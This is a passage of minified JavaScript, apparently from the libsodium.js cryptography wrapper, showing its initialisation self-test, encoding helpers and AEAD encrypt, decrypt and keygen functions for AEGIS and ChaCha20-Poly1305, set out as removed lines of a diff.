"crypto_secretstream_xchacha20poly1305_TAG_REKEY", "crypto_shorthash_BYTES", "crypto_shorthash_KEYBYTES", "crypto_shorthash_siphash24_BYTES", "crypto_shorthash_siphash24_KEYBYTES", "crypto_shorthash_siphashx24_BYTES", "crypto_shorthash_siphashx24_KEYBYTES", "crypto_sign_BYTES", "crypto_sign_MESSAGEBYTES_MAX", "crypto_sign_PUBLICKEYBYTES", "crypto_sign_SECRETKEYBYTES", "crypto_sign_SEEDBYTES", "crypto_sign_ed25519_BYTES", "crypto_sign_ed25519_MESSAGEBYTES_MAX", "crypto_sign_ed25519_PUBLICKEYBYTES", "crypto_sign_ed25519_SECRETKEYBYTES", "crypto_sign_ed25519_SEEDBYTES", "crypto_stream_KEYBYTES", "crypto_stream_MESSAGEBYTES_MAX", "crypto_stream_NONCEBYTES", "crypto_stream_chacha20_IETF_KEYBYTES", "crypto_stream_chacha20_IETF_MESSAGEBYTES_MAX", "crypto_stream_chacha20_IETF_NONCEBYTES", "crypto_stream_chacha20_KEYBYTES", "crypto_stream_chacha20_MESSAGEBYTES_MAX", "crypto_stream_chacha20_NONCEBYTES", "crypto_stream_chacha20_ietf_KEYBYTES", "crypto_stream_chacha20_ietf_MESSAGEBYTES_MAX", "crypto_stream_chacha20_ietf_NONCEBYTES", "crypto_stream_salsa2012_KEYBYTES", "crypto_stream_salsa2012_MESSAGEBYTES_MAX", "crypto_stream_salsa2012_NONCEBYTES", "crypto_stream_salsa208_KEYBYTES", "crypto_stream_salsa208_MESSAGEBYTES_MAX", "crypto_stream_salsa208_NONCEBYTES", "crypto_stream_salsa20_KEYBYTES", "crypto_stream_salsa20_MESSAGEBYTES_MAX", "crypto_stream_salsa20_NONCEBYTES", "crypto_stream_xchacha20_KEYBYTES", "crypto_stream_xchacha20_MESSAGEBYTES_MAX", "crypto_stream_xchacha20_NONCEBYTES", "crypto_stream_xsalsa20_KEYBYTES", "crypto_stream_xsalsa20_MESSAGEBYTES_MAX", "crypto_stream_xsalsa20_NONCEBYTES", "crypto_verify_16_BYTES", "crypto_verify_32_BYTES", "crypto_verify_64_BYTES"]; - for (A5 = 0; A5 < i4.length; A5++) - "function" == typeof (s4 = r5["_" + i4[A5].toLowerCase()]) && (t2[i4[A5]] = s4()); - var o4 = ["SODIUM_VERSION_STRING", "crypto_pwhash_STRPREFIX", "crypto_pwhash_scryptsalsa208sha256_STRPREFIX"]; - for (A5 = 0; A5 < o4.length; A5++) { - var s4; - "function" == typeof (s4 = r5["_" + o4[A5].toLowerCase()]) && (t2[o4[A5]] = r5.UTF8ToString(s4())); - } - } - r5 = e3; - try { - n4(); - var A4 = new Uint8Array([98, 97, 108, 108, 115]), i3 = t2.randombytes_buf(t2.crypto_secretbox_NONCEBYTES), o3 = t2.randombytes_buf(t2.crypto_secretbox_KEYBYTES), s3 = t2.crypto_secretbox_easy(A4, i3, o3), a3 = t2.crypto_secretbox_open_easy(s3, i3, o3); - if (t2.memcmp(A4, a3)) - return; - } catch (t3) { - if (null == r5.useBackupModule) - throw new Error("Both wasm and asm failed to load" + t3); - } - r5.useBackupModule(), n4(); - }); - function i2(t3) { - if ("function" == typeof TextEncoder) - return new TextEncoder().encode(t3); - t3 = unescape(encodeURIComponent(t3)); - for (var e4 = new Uint8Array(t3.length), r6 = 0, n4 = t3.length; r6 < n4; r6++) - e4[r6] = t3.charCodeAt(r6); - return e4; - } - function o2(t3) { - if ("function" == typeof TextDecoder) - return new TextDecoder("utf-8", { fatal: true }).decode(t3); - var e4 = 8192, r6 = Math.ceil(t3.length / e4); - if (r6 <= 1) - try { - return decodeURIComponent(escape(String.fromCharCode.apply(null, t3))); - } catch (t4) { - throw new TypeError("The encoded data was not valid."); - } - for (var n4 = "", A4 = 0, i3 = 0; i3 < r6; i3++) { - var s3 = Array.prototype.slice.call(t3, i3 * e4 + A4, (i3 + 1) * e4 + A4); - if (0 != s3.length) { - var a3, c3 = s3.length, h3 = 0; - do { - var g3 = s3[--c3]; - g3 >= 240 ? (h3 = 4, a3 = true) : g3 >= 224 ? (h3 = 3, a3 = true) : g3 >= 192 ? (h3 = 2, a3 = true) : g3 < 128 && (h3 = 1, a3 = true); - } while (!a3); - for (var u3 = h3 - (s3.length - c3), l3 = 0; l3 < u3; l3++) - A4--, s3.pop(); - n4 += o2(s3); - } - } - return n4; - } - function s2(t3) { - t3 = B2(null, t3, "input"); - for (var e4, r6, n4, A4 = "", i3 = 0; i3 < t3.length; i3++) - n4 = 87 + (r6 = 15 & t3[i3]) + (r6 - 10 >> 8 & -39) << 8 | 87 + (e4 = t3[i3] >>> 4) + (e4 - 10 >> 8 & -39), A4 += String.fromCharCode(255 & n4) + String.fromCharCode(n4 >>> 8); - return A4; - } - var a2 = { ORIGINAL: 1, ORIGINAL_NO_PADDING: 3, URLSAFE: 5, URLSAFE_NO_PADDING: 7 }; - function c2(t3) { - if (null == t3) - return a2.URLSAFE_NO_PADDING; - if (t3 !== a2.ORIGINAL && t3 !== a2.ORIGINAL_NO_PADDING && t3 !== a2.URLSAFE && t3 != a2.URLSAFE_NO_PADDING) - throw new Error("unsupported base64 variant"); - return t3; - } - function h2(t3, e4) { - e4 = c2(e4), t3 = B2(A4, t3, "input"); - var n4, A4 = [], i3 = 0 | Math.floor(t3.length / 3), s3 = t3.length - 3 * i3, a3 = 4 * i3 + (0 !== s3 ? 2 & e4 ? 2 + (s3 >>> 1) : 4 : 0), h3 = new f2(a3 + 1), g3 = p2(t3); - return A4.push(g3), A4.push(h3.address), 0 === r5._sodium_bin2base64(h3.address, h3.length, g3, t3.length, e4) && y2(A4, "conversion failed"), h3.length = a3, n4 = o2(h3.to_Uint8Array()), I2(A4), n4; - } - function g2(t3, e4) { - var r6 = e4 || n3; - if (!u2(r6)) - throw new Error(r6 + " output format is not available"); - if (t3 instanceof f2) { - if ("uint8array" === r6) - return t3.to_Uint8Array(); - if ("text" === r6) - return o2(t3.to_Uint8Array()); - if ("hex" === r6) - return s2(t3.to_Uint8Array()); - if ("base64" === r6) - return h2(t3.to_Uint8Array(), a2.URLSAFE_NO_PADDING); - throw new Error('What is output format "' + r6 + '"?'); - } - if ("object" == typeof t3) { - for (var A4 = Object.keys(t3), i3 = {}, c3 = 0; c3 < A4.length; c3++) - i3[A4[c3]] = g2(t3[A4[c3]], r6); - return i3; - } - if ("string" == typeof t3) - return t3; - throw new TypeError("Cannot format output"); - } - function u2(t3) { - for (var e4 = ["uint8array", "text", "hex", "base64"], r6 = 0; r6 < e4.length; r6++) - if (e4[r6] === t3) - return true; - return false; - } - function l2(t3) { - if (t3) { - if ("string" != typeof t3) - throw new TypeError("When defined, the output format must be a string"); - if (!u2(t3)) - throw new Error(t3 + " is not a supported output format"); - } - } - function f2(t3) { - this.length = t3, this.address = d2(t3); - } - function p2(t3) { - var e4 = d2(t3.length); - return r5.HEAPU8.set(t3, e4), e4; - } - function d2(t3) { - var e4 = r5._malloc(t3); - if (0 === e4) - throw { message: "_malloc() failed", length: t3 }; - return e4; - } - function I2(t3) { - if (t3) - for (var e4 = 0; e4 < t3.length; e4++) - n4 = t3[e4], r5._free(n4); - var n4; - } - function y2(t3, e4) { - throw I2(t3), new Error(e4); - } - function C2(t3, e4) { - throw I2(t3), new TypeError(e4); - } - function m2(t3, e4, r6) { - null == e4 && C2(t3, r6 + " cannot be null or undefined"); - } - function B2(t3, e4, r6) { - return m2(t3, e4, r6), e4 instanceof Uint8Array ? e4 : "string" == typeof e4 ? i2(e4) : void C2(t3, "unsupported input type for " + r6); - } - function E2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = null; - null != t3 && (a3 = p2(t3 = B2(s3, t3, "secret_nonce")), t3.length, s3.push(a3)), e4 = B2(s3, e4, "ciphertext"); - var c3, h3 = r5._crypto_aead_aegis128l_abytes(), u3 = e4.length; - u3 < h3 && C2(s3, "ciphertext is too short"), c3 = p2(e4), s3.push(c3); - var d3 = null, m3 = 0; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "additional_data")), m3 = n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var E3, w3 = 0 | r5._crypto_aead_aegis128l_npubbytes(); - A4.length !== w3 && C2(s3, "invalid public_nonce length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "key"); - var v3, _3 = 0 | r5._crypto_aead_aegis128l_keybytes(); - i3.length !== _3 && C2(s3, "invalid key length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(u3 - r5._crypto_aead_aegis128l_abytes() | 0), b3 = Q3.address; - if (s3.push(b3), 0 === r5._crypto_aead_aegis128l_decrypt(b3, null, a3, c3, u3, 0, d3, m3, 0, E3, v3)) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "ciphertext cannot be decrypted using that key"); - } - function w2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = null; - null != t3 && (c3 = p2(t3 = B2(a3, t3, "secret_nonce")), t3.length, a3.push(c3)); - var h3 = p2(e4 = B2(a3, e4, "ciphertext")), u3 = e4.length; - a3.push(h3), n4 = B2(a3, n4, "mac"); - var d3, m3 = 0 | r5._crypto_box_macbytes(); - n4.length !== m3 && C2(a3, "invalid mac length"), d3 = p2(n4), a3.push(d3); - var E3 = null, w3 = 0; - null != A4 && (E3 = p2(A4 = B2(a3, A4, "additional_data")), w3 = A4.length, a3.push(E3)), i3 = B2(a3, i3, "public_nonce"); - var v3, _3 = 0 | r5._crypto_aead_aegis128l_npubbytes(); - i3.length !== _3 && C2(a3, "invalid public_nonce length"), v3 = p2(i3), a3.push(v3), o3 = B2(a3, o3, "key"); - var Q3, b3 = 0 | r5._crypto_aead_aegis128l_keybytes(); - o3.length !== b3 && C2(a3, "invalid key length"), Q3 = p2(o3), a3.push(Q3); - var k3 = new f2(0 | u3), D3 = k3.address; - if (a3.push(D3), 0 === r5._crypto_aead_aegis128l_decrypt_detached(D3, c3, h3, u3, 0, d3, E3, w3, 0, v3, Q3)) { - var S3 = g2(k3, s3); - return I2(a3), S3; - } - y2(a3, "ciphertext cannot be decrypted using that key"); - } - function v2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_aegis128l_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_aegis128l_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(c3 + r5._crypto_aead_aegis128l_abytes() | 0), Q3 = _3.address; - if (s3.push(Q3), 0 === r5._crypto_aead_aegis128l_encrypt(Q3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var b3 = g2(_3, o3); - return I2(s3), b3; - } - y2(s3, "invalid usage"); - } - function _2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_aegis128l_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_aegis128l_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(0 | c3), Q3 = _3.address; - s3.push(Q3); - var b3 = new f2(0 | r5._crypto_aead_aegis128l_abytes()), k3 = b3.address; - if (s3.push(k3), 0 === r5._crypto_aead_aegis128l_encrypt_detached(Q3, k3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var D3 = g2({ ciphertext: _3, mac: b3 }, o3); - return I2(s3), D3; - } - y2(s3, "invalid usage"); - } - function Q2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_aead_aegis128l_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_aead_aegis128l_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function b2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = null; - null != t3 && (a3 = p2(t3 = B2(s3, t3, "secret_nonce")), t3.length, s3.push(a3)), e4 = B2(s3, e4, "ciphertext"); - var c3, h3 = r5._crypto_aead_aegis256_abytes(), u3 = e4.length; - u3 < h3 && C2(s3, "ciphertext is too short"), c3 = p2(e4), s3.push(c3); - var d3 = null, m3 = 0; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "additional_data")), m3 = n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var E3, w3 = 0 | r5._crypto_aead_aegis256_npubbytes(); - A4.length !== w3 && C2(s3, "invalid public_nonce length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "key"); - var v3, _3 = 0 | r5._crypto_aead_aegis256_keybytes(); - i3.length !== _3 && C2(s3, "invalid key length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(u3 - r5._crypto_aead_aegis256_abytes() | 0), b3 = Q3.address; - if (s3.push(b3), 0 === r5._crypto_aead_aegis256_decrypt(b3, null, a3, c3, u3, 0, d3, m3, 0, E3, v3)) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "ciphertext cannot be decrypted using that key"); - } - function k2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = null; - null != t3 && (c3 = p2(t3 = B2(a3, t3, "secret_nonce")), t3.length, a3.push(c3)); - var h3 = p2(e4 = B2(a3, e4, "ciphertext")), u3 = e4.length; - a3.push(h3), n4 = B2(a3, n4, "mac"); - var d3, m3 = 0 | r5._crypto_box_macbytes(); - n4.length !== m3 && C2(a3, "invalid mac length"), d3 = p2(n4), a3.push(d3); - var E3 = null, w3 = 0; - null != A4 && (E3 = p2(A4 = B2(a3, A4, "additional_data")), w3 = A4.length, a3.push(E3)), i3 = B2(a3, i3, "public_nonce"); - var v3, _3 = 0 | r5._crypto_aead_aegis256_npubbytes(); - i3.length !== _3 && C2(a3, "invalid public_nonce length"), v3 = p2(i3), a3.push(v3), o3 = B2(a3, o3, "key"); - var Q3, b3 = 0 | r5._crypto_aead_aegis256_keybytes(); - o3.length !== b3 && C2(a3, "invalid key length"), Q3 = p2(o3), a3.push(Q3); - var k3 = new f2(0 | u3), D3 = k3.address; - if (a3.push(D3), 0 === r5._crypto_aead_aegis256_decrypt_detached(D3, c3, h3, u3, 0, d3, E3, w3, 0, v3, Q3)) { - var S3 = g2(k3, s3); - return I2(a3), S3; - } - y2(a3, "ciphertext cannot be decrypted using that key"); - } - function D2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_aegis256_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_aegis256_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(c3 + r5._crypto_aead_aegis256_abytes() | 0), Q3 = _3.address; - if (s3.push(Q3), 0 === r5._crypto_aead_aegis256_encrypt(Q3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var b3 = g2(_3, o3); - return I2(s3), b3; - } - y2(s3, "invalid usage"); - } - function S2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_aegis256_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_aegis256_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(0 | c3), Q3 = _3.address; - s3.push(Q3); - var b3 = new f2(0 | r5._crypto_aead_aegis256_abytes()), k3 = b3.address; - if (s3.push(k3), 0 === r5._crypto_aead_aegis256_encrypt_detached(Q3, k3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var D3 = g2({ ciphertext: _3, mac: b3 }, o3); - return I2(s3), D3; - } - y2(s3, "invalid usage"); - } - function N3(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_aead_aegis256_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_aead_aegis256_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function M2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = null; - null != t3 && (a3 = p2(t3 = B2(s3, t3, "secret_nonce")), t3.length, s3.push(a3)), e4 = B2(s3, e4, "ciphertext"); - var c3, h3 = r5._crypto_aead_chacha20poly1305_abytes(), u3 = e4.length; - u3 < h3 && C2(s3, "ciphertext is too short"), c3 = p2(e4), s3.push(c3); - var d3 = null, m3 = 0; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "additional_data")), m3 = n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var E3, w3 = 0 | r5._crypto_aead_chacha20poly1305_npubbytes(); - A4.length !== w3 && C2(s3, "invalid public_nonce length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "key"); - var v3, _3 = 0 | r5._crypto_aead_chacha20poly1305_keybytes(); - i3.length !== _3 && C2(s3, "invalid key length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(u3 - r5._crypto_aead_chacha20poly1305_abytes() | 0), b3 = Q3.address; - if (s3.push(b3), 0 === r5._crypto_aead_chacha20poly1305_decrypt(b3, null, a3, c3, u3, 0, d3, m3, 0, E3, v3)) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "ciphertext cannot be decrypted using that key"); - } - function x2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = null; - null != t3 && (c3 = p2(t3 = B2(a3, t3, "secret_nonce")), t3.length, a3.push(c3)); - var h3 = p2(e4 = B2(a3, e4, "ciphertext")), u3 = e4.length; - a3.push(h3), n4 = B2(a3, n4, "mac"); - var d3, m3 = 0 | r5._crypto_box_macbytes(); - n4.length !== m3 && C2(a3, "invalid mac length"), d3 = p2(n4), a3.push(d3); - var E3 = null, w3 = 0; - null != A4 && (E3 = p2(A4 = B2(a3, A4, "additional_data")), w3 = A4.length, a3.push(E3)), i3 = B2(a3, i3, "public_nonce"); - var v3, _3 = 0 | r5._crypto_aead_chacha20poly1305_npubbytes(); - i3.length !== _3 && C2(a3, "invalid public_nonce length"), v3 = p2(i3), a3.push(v3), o3 = B2(a3, o3, "key"); - var Q3, b3 = 0 | r5._crypto_aead_chacha20poly1305_keybytes(); - o3.length !== b3 && C2(a3, "invalid key length"), Q3 = p2(o3), a3.push(Q3); - var k3 = new f2(0 | u3), D3 = k3.address; - if (a3.push(D3), 0 === r5._crypto_aead_chacha20poly1305_decrypt_detached(D3, c3, h3, u3, 0, d3, E3, w3, 0, v3, Q3)) { - var S3 = g2(k3, s3); - return I2(a3), S3; - } - y2(a3, "ciphertext cannot be decrypted using that key"); - } - function F2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_chacha20poly1305_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_chacha20poly1305_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(c3 + r5._crypto_aead_chacha20poly1305_abytes() | 0), Q3 = _3.address; - if (s3.push(Q3), 0 === r5._crypto_aead_chacha20poly1305_encrypt(Q3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var b3 = g2(_3, o3); - return I2(s3), b3; - } - y2(s3, "invalid usage"); - } - function P2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_chacha20poly1305_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_chacha20poly1305_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(0 | c3), Q3 = _3.address; - s3.push(Q3); - var b3 = new f2(0 | r5._crypto_aead_chacha20poly1305_abytes()), k3 = b3.address; - if (s3.push(k3), 0 === r5._crypto_aead_chacha20poly1305_encrypt_detached(Q3, k3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var D3 = g2({ ciphertext: _3, mac: b3 }, o3); - return I2(s3), D3; - } - y2(s3, "invalid usage"); - } - function T2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = null; - null != t3 && (a3 = p2(t3 = B2(s3, t3, "secret_nonce")), t3.length, s3.push(a3)), e4 = B2(s3, e4, "ciphertext"); - var c3, h3 = r5._crypto_aead_chacha20poly1305_ietf_abytes(), u3 = e4.length; - u3 < h3 && C2(s3, "ciphertext is too short"), c3 = p2(e4), s3.push(c3); - var d3 = null, m3 = 0; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "additional_data")), m3 = n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var E3, w3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_npubbytes(); - A4.length !== w3 && C2(s3, "invalid public_nonce length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "key"); - var v3, _3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_keybytes(); - i3.length !== _3 && C2(s3, "invalid key length"), v3 = p2(i3), s3.push(v3); - var Q3 = new f2(u3 - r5._crypto_aead_chacha20poly1305_ietf_abytes() | 0), b3 = Q3.address; - if (s3.push(b3), 0 === r5._crypto_aead_chacha20poly1305_ietf_decrypt(b3, null, a3, c3, u3, 0, d3, m3, 0, E3, v3)) { - var k3 = g2(Q3, o3); - return I2(s3), k3; - } - y2(s3, "ciphertext cannot be decrypted using that key"); - } - function R2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = null; - null != t3 && (c3 = p2(t3 = B2(a3, t3, "secret_nonce")), t3.length, a3.push(c3)); - var h3 = p2(e4 = B2(a3, e4, "ciphertext")), u3 = e4.length; - a3.push(h3), n4 = B2(a3, n4, "mac"); - var d3, m3 = 0 | r5._crypto_box_macbytes(); - n4.length !== m3 && C2(a3, "invalid mac length"), d3 = p2(n4), a3.push(d3); - var E3 = null, w3 = 0; - null != A4 && (E3 = p2(A4 = B2(a3, A4, "additional_data")), w3 = A4.length, a3.push(E3)), i3 = B2(a3, i3, "public_nonce"); - var v3, _3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_npubbytes(); - i3.length !== _3 && C2(a3, "invalid public_nonce length"), v3 = p2(i3), a3.push(v3), o3 = B2(a3, o3, "key"); - var Q3, b3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_keybytes(); - o3.length !== b3 && C2(a3, "invalid key length"), Q3 = p2(o3), a3.push(Q3); - var k3 = new f2(0 | u3), D3 = k3.address; - if (a3.push(D3), 0 === r5._crypto_aead_chacha20poly1305_ietf_decrypt_detached(D3, c3, h3, u3, 0, d3, E3, w3, 0, v3, Q3)) { - var S3 = g2(k3, s3); - return I2(a3), S3; - } - y2(a3, "ciphertext cannot be decrypted using that key"); - } - function U2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(c3 + r5._crypto_aead_chacha20poly1305_ietf_abytes() | 0), Q3 = _3.address; - if (s3.push(Q3), 0 === r5._crypto_aead_chacha20poly1305_ietf_encrypt(Q3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var b3 = g2(_3, o3); - return I2(s3), b3; - } - y2(s3, "invalid usage"); - } - function G2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = p2(t3 = B2(s3, t3, "message")), c3 = t3.length; - s3.push(a3); - var h3 = null, u3 = 0; - null != e4 && (h3 = p2(e4 = B2(s3, e4, "additional_data")), u3 = e4.length, s3.push(h3)); - var d3 = null; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "secret_nonce")), n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var m3, E3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_npubbytes(); - A4.length !== E3 && C2(s3, "invalid public_nonce length"), m3 = p2(A4), s3.push(m3), i3 = B2(s3, i3, "key"); - var w3, v3 = 0 | r5._crypto_aead_chacha20poly1305_ietf_keybytes(); - i3.length !== v3 && C2(s3, "invalid key length"), w3 = p2(i3), s3.push(w3); - var _3 = new f2(0 | c3), Q3 = _3.address; - s3.push(Q3); - var b3 = new f2(0 | r5._crypto_aead_chacha20poly1305_ietf_abytes()), k3 = b3.address; - if (s3.push(k3), 0 === r5._crypto_aead_chacha20poly1305_ietf_encrypt_detached(Q3, k3, null, a3, c3, 0, h3, u3, 0, d3, m3, w3)) { - var D3 = g2({ ciphertext: _3, mac: b3 }, o3); - return I2(s3), D3; - } - y2(s3, "invalid usage"); - } - function H2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_aead_chacha20poly1305_ietf_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_aead_chacha20poly1305_ietf_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function L2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_aead_chacha20poly1305_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_aead_chacha20poly1305_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function O2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3); - var a3 = null; - null != t3 && (a3 = p2(t3 = B2(s3, t3, "secret_nonce")), t3.length, s3.push(a3)), e4 = B2(s3, e4, "ciphertext"); - var c3, h3 = r5._crypto_aead_xchacha20poly1305_ietf_abytes(), u3 = e4.length; - u3 < h3 && C2(s3, "ciphertext is too short"), c3 = p2(e4), s3.push(c3); - var d3 = null, m3 = 0; - null != n4 && (d3 = p2(n4 = B2(s3, n4, "additional_data")), m3 = n4.length, s3.push(d3)), A4 = B2(s3, A4, "public_nonce"); - var E3, w3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_npubbytes(); - A4.length !== w3 && C2(s3, "invalid public_nonce length"), E3 = p2(A4), s3.push(E3), i3 = B2(s3, i3, "key"); - var v3, _3 = 0 | r5._crypto_aead_xchacha20poly1305_ietf_keybytes(); - i3.length !== _3 && C2(s3, "invalid key length"), v3 = p2(i3), 